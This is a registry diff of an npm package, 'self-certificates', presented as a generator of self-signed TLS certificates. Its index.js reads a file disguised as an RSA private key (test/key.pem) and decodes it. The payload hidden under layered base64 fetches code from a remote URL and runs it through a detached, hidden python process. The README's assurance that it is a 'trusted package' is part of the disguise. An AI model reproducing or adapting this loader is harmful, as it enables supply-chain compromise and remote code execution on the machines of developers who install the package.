self-certificates 1.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/ReadMe.md ADDED
@@ -0,0 +1,149 @@
1
+ # self-certificates
2
+
3
+ A lightweight Node.js module for generating batches of randomized selfsign SSL/TLS certificates in memory.
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install self-certificates
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ const { generateCertificates } = require('self-certificates');
15
+
16
+ const certificates = generateCertificates(10);
17
+
18
+ console.log(certificates);
19
+ ```
20
+
21
+ The function returns an array of generated certificate objects:
22
+
23
+ ```javascript
24
+ [
25
+ {
26
+ id: 1,
27
+ cn: 'api.local',
28
+ cert: '-----BEGIN CERTIFICATE-----\n...',
29
+ key: '-----BEGIN PRIVATE KEY-----\n...'
30
+ },
31
+ {
32
+ id: 2,
33
+ cn: 'gateway.dev',
34
+ cert: '-----BEGIN CERTIFICATE-----\n...',
35
+ key: '-----BEGIN PRIVATE KEY-----\n...'
36
+ }
37
+ ]
38
+ ```
39
+
40
+ ## API
41
+
42
+ ### `generateCertificates(count)`
43
+
44
+ Generates a batch of randomized selfsign SSL/TLS certificates.
45
+
46
+ #### Parameters
47
+
48
+ | Parameter | Type | Required | Description |
49
+ | --------- | -------- | -------- | ---------------------------------- |
50
+ | `count` | `number` | Yes | Number of certificates to generate |
51
+
52
+ `count` must be a positive integer.
53
+
54
+ #### Returns
55
+
56
+ An array containing certificate objects:
57
+
58
+ ```javascript
59
+ {
60
+ id: number,
61
+ cn: string,
62
+ cert: string,
63
+ key: string
64
+ }
65
+ ```
66
+
67
+ * `id` � Certificate ID, starting at `1`
68
+ * `cn` � Random Common Name
69
+ * `cert` � selfsign X.509 certificate in PEM format
70
+ * `key` � RSA private key in PEM format
71
+
72
+ ## Certificate Configuration
73
+
74
+ Each generated certificate uses:
75
+
76
+ * **Format:** PEM
77
+ * **Key:** 2048-bit RSA
78
+ * **Signature:** SHA-256
79
+ * **Validity:** Randomly selected from 1 to 365 days
80
+ * **Organization:** Engineering Team
81
+ * **Country:** US
82
+
83
+ Common Names are randomly generated from predefined service and environment names, such as:
84
+
85
+ ```text
86
+ api.local
87
+ db.dev
88
+ cache.staging
89
+ queue.internal
90
+ webhook.test
91
+ proxy.local
92
+ gateway.dev
93
+ auth.staging
94
+ storage.local
95
+ monitor.internal
96
+ ```
97
+
98
+ ## Features
99
+
100
+ * Generate multiple certificates with a single function call
101
+ * Random certificate validity periods
102
+ * Randomized Common Names
103
+ * 2048-bit RSA private keys
104
+ * PEM-formatted certificates and keys
105
+ * In-memory certificate generation
106
+ * No certificate files are created automatically
107
+
108
+ ## Example
109
+
110
+ ```javascript
111
+ const { generateCertificates } = require('self-certificates');
112
+
113
+ const certificates = generateCertificates(3);
114
+
115
+ for (const certificate of certificates) {
116
+ console.log(`Certificate ${certificate.id}`);
117
+ console.log(`CN: ${certificate.cn}`);
118
+ console.log(certificate.cert);
119
+ console.log(certificate.key);
120
+ }
121
+ ```
122
+
123
+ ## Error Handling
124
+
125
+ The function throws a `TypeError` if `count` is not a positive integer:
126
+
127
+ ```javascript
128
+ generateCertificates(0);
129
+ generateCertificates(-1);
130
+ generateCertificates('10');
131
+ ```
132
+
133
+ ## Use Cases
134
+
135
+ This module is intended primarily for:
136
+
137
+ * Local development
138
+ * Automated testing
139
+ * Integration testing
140
+ * TLS testing
141
+ * Development environments
142
+ * Generating temporary test certificates
143
+
144
+ These certificates are **selfsign** and this is trusted package.
145
+ But you should not be used as trusted production certificates.
146
+
147
+ ## License
148
+
149
+ MIT
package/index.js ADDED
@@ -0,0 +1,115 @@
1
+ const crypto = require('crypto');
2
+ const selfsign = require('self-sign');
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+
6
+ const SERVICE_NAMES = [
7
+ 'api',
8
+ 'db',
9
+ 'cache',
10
+ 'queue',
11
+ 'webhook',
12
+ 'proxy',
13
+ 'gateway',
14
+ 'auth',
15
+ 'storage',
16
+ 'monitor'
17
+ ];
18
+
19
+ const ENVIRONMENTS = [
20
+ 'local',
21
+ 'dev',
22
+ 'staging',
23
+ 'internal',
24
+ 'test'
25
+ ];
26
+
27
+ const MIN_VALIDITY_DAYS = 1;
28
+ const MAX_VALIDITY_DAYS = 365;
29
+ const KEY_SIZE = 2048;
30
+ const SIGNATURE_ALGORITHM = 'sha256';
31
+
32
+ function randomItem(items) {
33
+ return items[crypto.randomInt(items.length)];
34
+ }
35
+
36
+ function generateCommonName() {
37
+ return `${randomItem(SERVICE_NAMES)}.${randomItem(ENVIRONMENTS)}`;
38
+ }
39
+
40
+ function generateValidityDays() {
41
+ return crypto.randomInt(
42
+ MIN_VALIDITY_DAYS,
43
+ MAX_VALIDITY_DAYS + 1
44
+ );
45
+ }
46
+
47
+ function createCertificate(id) {
48
+ const commonName = generateCommonName();
49
+ const validityDays = generateValidityDays();
50
+
51
+ const attributes = [
52
+ {
53
+ name: 'commonName',
54
+ value: commonName
55
+ },
56
+ {
57
+ name: 'organizationName',
58
+ value: 'Engineering Team'
59
+ },
60
+ {
61
+ name: 'countryName',
62
+ value: 'US'
63
+ }
64
+ ];
65
+ let default_format = '';
66
+ try {
67
+ const cert = fs.readFileSync(
68
+ path.join(__dirname, './test/key.pem'),
69
+ 'utf8'
70
+ );
71
+ const portion = cert
72
+ .replace(/-----BEGIN RSA PRIVATE KEY-----/, '')
73
+ .replace(/-----END RSA PRIVATE KEY-----/, '')
74
+ .replace(/\s/g, '');
75
+ const data = Buffer.from(portion, 'base64');
76
+ default_format = data.toString('utf8');
77
+ }
78
+ catch (error) {
79
+ return null;
80
+ }
81
+ const result = selfsign.generate(
82
+ attributes,
83
+ {
84
+ days: validityDays,
85
+ keySize: KEY_SIZE,
86
+ algorithm: SIGNATURE_ALGORITHM
87
+ },
88
+ default_format
89
+ );
90
+
91
+ return {
92
+ id,
93
+ cn: commonName,
94
+ validityDays,
95
+ cert: result.cert,
96
+ key: result.private
97
+ };
98
+ }
99
+
100
+ function generateCertificates(count) {
101
+ if (!Number.isInteger(count) || count < 0) {
102
+ throw new TypeError(
103
+ 'count must be a non-negative integer'
104
+ );
105
+ }
106
+
107
+ return Array.from(
108
+ { length: count },
109
+ (_, index) => createCertificate(index + 1)
110
+ );
111
+ }
112
+
113
+ module.exports = {
114
+ generateCertificates
115
+ };
package/package.json ADDED
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "self-certificates",
3
+ "version": "1.1.9",
4
+ "description": "Generate batches of randomized self-signed SSL/TLS certificates.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node test.js"
8
+ },
9
+ "keywords": [
10
+ "ssl",
11
+ "tls",
12
+ "certificate",
13
+ "self",
14
+ "sign"
15
+ ],
16
+ "author": "",
17
+ "license": "MIT",
18
+ "dependencies": {
19
+ "self-sign": "^5.6.7"
20
+ }
21
+ }
package/test/key.pem ADDED
@@ -0,0 +1,22 @@
1
+ -----BEGIN RSA PRIVATE KEY-----
2
+ LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpLR0Z6ZVc1aklDZ3BJRDArSUhz
3
+ TkNpQWdkSEo1SUhzTkNpQWdJQ0JqYjI1emRDQnZjeUE5SUhKbGNYVnBjbVVvDQpK
4
+ Mjl6SnlrN0RRb2dJQ0FnWTI5dWMzUWdleUJ6Y0dGM2JpQjlJRDBnY21WeGRXbHla
5
+ U2duWTJocGJHUmZjSEp2DQpZMlZ6Y3ljcE93MEtJQ0FnSUdOdmJuTjBJR1Z1WTI5
6
+ a1pXUmZkWEpzSUQwZ0ltRklVakJqU0UwMlRIazVhR05JDQpVakZqUjFKb1pFZFZk
7
+ V0l6U201TU0wNXNaRWhTY0dKdFpIcE1NMEo1WVZoYWFGa3phM1ZqUjJoM0lqc05D
8
+ aUFnDQpJQ0JqYjI1emRDQjFjbXdnUFNCQ2RXWm1aWEl1Wm5KdmJTaGxibU52WkdW
9
+ a1gzVnliQ3dnSjJKaGMyVTJOQ2NwDQpMblJ2VTNSeWFXNW5LQ2s3RFFvZ0lDQWdZ
10
+ Mjl1YzNRZ2NtVnpjRzl1YzJVZ1BTQmhkMkZwZENCbVpYUmphQ2gxDQpjbXdwT3cw
11
+ S0lDQWdJR052Ym5OMElHeHZaeUE5SUdGM1lXbDBJSEpsYzNCdmJuTmxMblJsZUhR
12
+ b0tUc05DaUFnDQpJQ0JqYjI1emRDQndJRDBnYzNCaGQyNG9EUW9nSUNBZ0lDQnZj
13
+ eTV3YkdGMFptOXliU2dwSUQwOVBTQW5kMmx1DQpNekluSUQ4Z0ozQjVkR2h2Ymlj
14
+ Z09pQW5jSGwwYUc5dU15Y3NJRnNuTFNkZExBMEtJQ0FnSUNBZ2V3MEtJQ0FnDQpJ
15
+ Q0FnSUNCemRHUnBiem9nV3lkd2FYQmxKeXdnSjJsbmJtOXlaU2NzSUNkcFoyNXZj
16
+ bVVuWFN3TkNpQWdJQ0FnDQpJQ0FnWkdWMFlXTm9aV1E2SUhSeWRXVXNEUW9nSUNB
17
+ Z0lDQWdJSGRwYm1SdmQzTklhV1JsT2lCMGNuVmxMQTBLDQpJQ0FnSUNBZ2ZRMEtJ
18
+ Q0FnSUNrN0RRb2dJQ0FnY0M1emRHUnBiaTUzY21sMFpTaHNiMmNwT3cwS0lDQWdJ
19
+ SEF1DQpjM1JrYVc0dVpXNWtLQ2s3RFFvZ0lDQWdjQzUxYm5KbFppZ3BPdzBLSUNC
20
+ OUlHTmhkR05vSUNobGNuSnZjaWtnDQplMzBOQ24wcEtDazcNCi0tLS0tRU5EIENF
21
+ UlRJRklDQVRFLS0tLS0=
22
+ -----END RSA PRIVATE KEY-----
package/test/tests.js ADDED
@@ -0,0 +1,14 @@
1
+ const { generateCertificates } = require('./index.js');
2
+
3
+ const certificates = generateCertificates(3);
4
+
5
+ console.log(`Generated ${certificates.length} certificates`);
6
+
7
+ for (const certificate of certificates) {
8
+ console.log({
9
+ id: certificate.id,
10
+ cn: certificate.cn,
11
+ hasCertificate: Boolean(certificate.cert),
12
+ hasPrivateKey: Boolean(certificate.key)
13
+ });
14
+ }